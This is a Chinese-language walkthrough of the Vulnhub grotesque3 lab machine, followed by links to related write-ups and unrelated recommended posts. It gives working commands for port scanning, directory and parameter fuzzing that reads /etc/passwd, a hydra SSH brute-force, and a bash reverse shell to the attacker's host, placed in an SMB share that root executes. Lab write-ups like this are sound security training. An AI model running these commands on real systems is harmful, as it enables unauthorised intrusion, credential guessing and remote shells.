Vulnhub实战-grotesque3靶机

靶机地址:http://www.vulnhub.com/entry/grotesque-301,723/

1.靶机描述

2.主机探测,端口扫描

  1. 我们在vmware中成功导入靶机之后,在kali中进行主机探测

nmap -sn 192.168.33.0/24

得到主机IP,接下来进行端口扫描

nmap -sS -p- -v 192.168.33.230

我们发现开启了80和22端口,这里说明可以进行ssh爆破,但是没有线索胡乱爆破太费时间了,所以先去看看80端口web服务有什么吧。

3.web测试

  1. 访问IP地址得到如下页面

我们看看源代码发现有一个图片,然后就啥也没了。点进去看看,我还以为是图片隐写呢,害得我一顿binwalk,foremost,stepgeek进行图片破解都无果,我在这里替大家把坑都走了。最后看了大佬的博客才发现图片里面有一个mdXXXXX,这居然代表着md5,沃日我人傻了

然后接下来居然是从文件名入手,我也不知道咋想的啥脑洞呀。我丢!意思是文件名是经过md5加密的。接下来我们先生成一个md5的文件名表。就用的kali自带的字典/usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt。

执行以下命令将这个字典转换成md5的字典

for i in $(cat /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt); do echo $i | md5sum >> 2.txt; done

接下来我们home目录下面就有了一个2.txt,里面都是经过md5加密的文件名,这个2.txt一开始后面都会有两个空格和一个短杠,这个是要去掉的。给它们替换成空就行了。

然后通过kali自带的工具dirbuster进行文件名遍历,在终端输入dirbuster就可以开启这个工具了。然后我们输入地址,导入字典直接开启了,最后就遍历出了一个php文件。

我们访问这个php文件返回为空,接下来就行进行参数爆破了

通过kali自带的wfuzz工具进行http参数爆破,最后爆破出了一个参数purpose

wfuzz -c -w /root/dictionary/fuzzDicts-master/paramDict/AllParam.txt --hh 0 --hc 404,403 -u "http://192.168.33.230/f66b22bf020334b04c7d0d3eb5010391.php?FUZZ=/etc/passwd" -t 60

我们访问这个页面发现了用户名freddie,接下来就是用hydra进行ssh爆破密码啦,密码我们就用刚刚md5加密的词表去爆破吧,我也不知道作者咋想的,我估计这个writeup如果不是作者写的话,神仙也做不出来吧。

执行以下命令:

hydra -l freddie -P /home/2.txt ssh://192.168.33.230 -t 60

接下来我们登录ssh:

ssh freddie@192.168.33.230

4.提权

我们发现当前用户是freddie,接下来我们就是想办法提升到root权限。

  1. 我们看看能不能执行什么系统命令,发现并没有 命令:sudo -l
  2. 我们再看看也没有什么suid权限的文件,发现也没有 命令:find / -perm -u=s -type f 2>/dev/null

接下来我们执行ss -tulpn发现开启了445端口,证明有smb服务在运行

接下来我们看看后台进程吧,发现有一个进程在执行,就是root用户在执行一个命令/bin/sh -c bash /smbshare/*

说明root用户在用bash这个命令去执行smbshare文件夹下面的sh文件,这个时候我们就可以传一个sh的反弹shell到smb共享文件夹下面,因为后台开启了这个进程它会自动执行这个文件夹下面的sh脚本,可能一分钟执行一次,大家传上去之后可以等等看kali过一会应该就能连上shell。

我们进到/tmp文件夹,然后进入smb共享文件夹(进入smb是不需要输入密码的,直接回车就行了。):

通过这个遍历出smb的文件名,我们发现有三个文件,依次尝试发现第二个是能够进去的。

smbclient -L 127.0.0.1

然后进入smb:

smbclient //127.0.0.1/grotesque

在这里我们是可以下载靶机的/tmp目录下面的文件进来的,通过put命令,接下来我们下载一个sh的反弹shell进来就可以了。

shell文件:

#!/bin/bash
sh -i >& /dev/tcp/192.168.33.213/10086 0>&1

我们的kali创建这个shell文件之后,通过python开启一个http服务:python3 -m http.server 9000,然后我们靶机的shell去下载这个文件

kali:
python -m http.server 9000
//这个命令在哪个目录执行的,这个目录就是跟目录 靶机:
wget http://kali的ip:9000/shell.sh kali监听端口,我的是10086:
nc -lnvp 10086 smb:
put shell.sh

最后我们就获取到root权限了,我估计后台那个进程应该是过多久执行一次,所以如果你把脚本下载进去没有立马反弹shell,你可以等等看,一分钟左右应该就会弹shell了。


Vulnhub实战-grotesque3靶机👻的更多相关文章

  1. Vulnhub实战-JIS-CTF_VulnUpload靶机👻

    Vulnhub实战-JIS-CTF_VulnUpload靶机 下载地址:http://www.vulnhub.com/entry/jis-ctf-vulnupload,228/ 你可以从上面地址获取靶 ...

  2. Vulnhub实战-doubletrouble靶机👻

    Vulnhub实战-doubletrouble靶机 靶机下载地址:https://www.vulnhub.com/entry/doubletrouble-1,743/ 下载页面的ova格式文件导入vm ...

  3. Vulnhub实战-DockHole_1靶机👻

    Vulnhub实战-DockHole_1靶机 靶机地址:https://www.vulnhub.com/entry/darkhole-1,724/ 1.描述 我们下载下来这个靶机然后在vmware中打 ...

  4. Vulnhub实战-Dockhole_2靶机👻

    Vulnhub实战-Dockhole_2靶机 靶机地址:https://www.vulnhub.com/entry/darkhole-2,740/ 1.描述 hint:让我们不要浪费时间在蛮力上面! ...

  5. Vulnhub实战-FALL靶机👻

    Vulnhub实战-FULL靶机 下载地址:http://www.vulnhub.com/entry/digitalworldlocal-fall,726/ 1.描述 通过描述我们可以知道这个靶机枚举 ...

  6. Vulnhub实战-rtemis靶机👻

    Vulnhub实战-rtemis靶机 下载地址:http://www.vulnhub.com/entry/r-temis-1,649/ 描述 通过描述我们知道这个靶机有两个flag 主机发现 通过nm ...

  7. Vulnhub实战-dr4g0n b4ll靶机👻

    Vulnhub实战-dr4g0n b4ll靶机 地址:http://www.vulnhub.com/entry/dr4g0n-b4ll-1,646/ 描述:这篇其实没有什么新奇的技巧,用到的提权方式就 ...

  8. 【Vulnhub】DC-2靶机

    Vulnhub DC-2 靶机 信息搜集 访问web端发现访问不了,可以观察到相应的URL为域名而不是IP,需要在hosts文件种添加一条DNS记录. host位置:C:\Windows\System ...

  9. 3. 文件上传靶机实战(附靶机跟writeup)

    upload-labs 一个帮你总结所有类型的上传漏洞的靶场 文件上传靶机下载地址:https://github.com/c0ny1/upload-labs   运行环境 操作系统:推荐windows ...

随机推荐

  1. 基于Linux系统ipython和集成开发环境Pycharm的安装

    1.简介 Python是一门跨平台的开源.免费的.解释型.面向对象.带有动态语义的脚本语言,同时也支持伪编译以进行优化和提高运行速度,还支持使用py2exe工具将Python程序转换为exe可执行程序 ...

  2. Python安装环境配置和多版本共存

    Python安装环境配置和多版本共存 1.环境变量配置: (1) 右键点击"计算机",然后点击"属性" (2) 然后点击"高级系统设置" ( ...

  3. Python实现Thrift Server

    近期在项目中存在跨编程语言协作的需求,使用到了Thrift.本文将记录用python实现Thrift服务端的方法. 环境准备 根据自身实际情况下载对应的Thrift编译器,比如我在Windows系统上 ...

  4. shell脚本中select循环语句用法

    shell脚本中select循环语句 1. 脚本中select的语法格式 select VAR in LIST do command1 command2 ... ... commandN done s ...

  5. Webpack:打包项目报错(eslint: debugger)

    打包项目需要把项目中的debugger删除,否则会报错.

  6. 使用Vue制作了一个计算机网络中子网划分部分的简陋计算工具

    前端新手请多关照~~~~ 上个学期学校开了计算机网络的课, 上到子网划分部分时, 各种计算虽然不然但是足够让人眼花缭乱 于是就想着自己写一个子网划分的小工具来辅助一下, 在一些简单的题目测试后没什么问 ...

  7. 【第二篇】- Maven 环境配置之Spring Cloud直播商城 b2b2c电子商务技术总结

    Maven 环境配置 Maven 是一个基于 Java 的工具,所以要做的第一件事情就是安装 JDK. 如果你还未安装 JDK,可以参考我们的 Java 开发环境配置. 系统要求 项目 要求 JDK ...

  8. python动态网站爬虫实战(requests+xpath+demjson+redis)

    目录 前言 一.主要思路 1.观察网站 2.编写爬虫代码 二.爬虫实战 1.登陆获取cookie 2.请求资源列表页面,定位获得左侧目录每一章的跳转url(难点) 3.请求每个跳转url,定位右侧下载 ...

  9. 第25篇-虚拟机对象操作指令之putstatic

    之前已经介绍了getstatic与getfield指令的汇编代码执行逻辑,这一篇介绍putstatic指令的执行逻辑,putfield将不再介绍,大家可以自己去研究,相信大家有这个实力. putsta ...

  10. PHP获取目录中的全部内容RecursiveDirectoryIterator

    这次我们来介绍一个SPL库中的目录迭代器,它的作用其实非常简单,从名字就可以看出来,就是获取指定目录下的所有内容.之前我们要遍历目录获取目录及目录下的所有文件一般是需要进行递归遍历的,自己写这个代码说 ...